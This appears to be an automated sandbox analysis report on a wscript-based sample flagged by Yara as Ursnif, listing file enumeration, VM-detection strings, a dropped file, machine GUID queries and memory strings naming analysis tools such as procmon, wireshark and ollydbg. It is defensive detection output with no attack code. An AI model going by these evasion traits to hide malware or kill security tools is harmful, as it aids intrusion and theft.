Checks the free space of harddrives

Source: C:\Windows\System32\wscript.exe	File Volume queried: C:\Users\user\AppData\Local FullSizeInformation			Jump to behavior
Source: C:\Windows\System32\wscript.exe	File Volume queried: C:\Users\user\AppData\Local\Temp FullSizeInformation			Jump to behavior

Enumerates the file system

Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user			Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData			Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Local\Temp			Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\Desktop\desktop.ini			Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\Documents\desktop.ini			Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Local			Jump to behavior

May try to detect the virtual machine to hinder analysis (VM artifact strings found in memory)

Source: wscript.exe, 00000000.00000002.240347468.0000015EDBEF0000.00000002.00000001.sdmp	Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: wscript.exe, 00000000.00000002.240347468.0000015EDBEF0000.00000002.00000001.sdmp	Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: wscript.exe, 00000000.00000002.240347468.0000015EDBEF0000.00000002.00000001.sdmp	Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: wscript.exe, 00000000.00000002.240347468.0000015EDBEF0000.00000002.00000001.sdmp	Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.

HIPS / PFW / Operating System Protection Evasion:

Benign windows process drops PE files

Source: C:\Windows\System32\wscript.exe

File created: Sikkim.doc.0.dr

Jump to dropped file

Language, Device and Operating System Detection:

Queries the volume information (name, serial number etc) of a device

Source: C:\Windows\System32\wscript.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\shirt.zip VolumeInformation			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\shirt.zip VolumeInformation			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\shirt.zip VolumeInformation			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\shirt.zip VolumeInformation			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\shirt.zip VolumeInformation			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\shirt.zip VolumeInformation			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\shirt.zip VolumeInformation			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\shirt.zip VolumeInformation			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\shirt.zip VolumeInformation			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\shirt.zip VolumeInformation			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\shirt.zip VolumeInformation			Jump to behavior

Queries the cryptographic machine GUID

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings:

AV process strings found (often used to terminate AV products)

Source: wscript.exe, 00000000.00000003.233514798.0000015ED8BF9000.00000004.00000001.sdmp	Binary or memory string: procmon.exe
Source: wscript.exe, 00000000.00000003.230001085.0000015ED8BFD000.00000004.00000001.sdmp	Binary or memory string: tcpview.exe
Source: wscript.exe, 00000000.00000003.230001085.0000015ED8BFD000.00000004.00000001.sdmp	Binary or memory string: wireshark.exe
Source: wscript.exe, 00000000.00000003.233514798.0000015ED8BF9000.00000004.00000001.sdmp	Binary or memory string: avz.exe
Source: wscript.exe, 00000000.00000003.230001085.0000015ED8BFD000.00000004.00000001.sdmp	Binary or memory string: cports.exe
Source: wscript.exe, 00000000.00000003.230001085.0000015ED8BFD000.00000004.00000001.sdmp	Binary or memory string: lordpe.exe
Source: wscript.exe, 00000000.00000003.233514798.0000015ED8BF9000.00000004.00000001.sdmp	Binary or memory string: icesword.exe
Source: wscript.exe, 00000000.00000003.233514798.0000015ED8BF9000.00000004.00000001.sdmp	Binary or memory string: ollydbg.exe
Source: wscript.exe, 00000000.00000003.230001085.0000015ED8BFD000.00000004.00000001.sdmp	Binary or memory string: regshot.exe

Stealing of Sensitive Information:

Yara detected Ursnif

Source: Yara match	File source: 00000003.00000003.266705838.0000000004EE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.266605622.0000000004EE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.266740060.0000000004EE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.266643602.0000000004EE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.266763254.0000000004EE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.266775938.0000000004EE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.270440345.0000000004EE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.266682217.0000000004EE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.266578434.0000000004EE8000.00000004.00000040.sdmp, type: MEMORY

Remote Access Functionality:

Yara detected Ursnif

Source: Yara match	File source: 00000003.00000003.266705838.0000000004EE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.266605622.0000000004EE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.266740060.0000000004EE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.266643602.0000000004EE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.266763254.0000000004EE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.266775938.0000000004EE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.270440345.0000000004EE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.266682217.0000000004EE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.266578434.0000000004EE8000.00000004.00000040.sdmp, type: MEMORY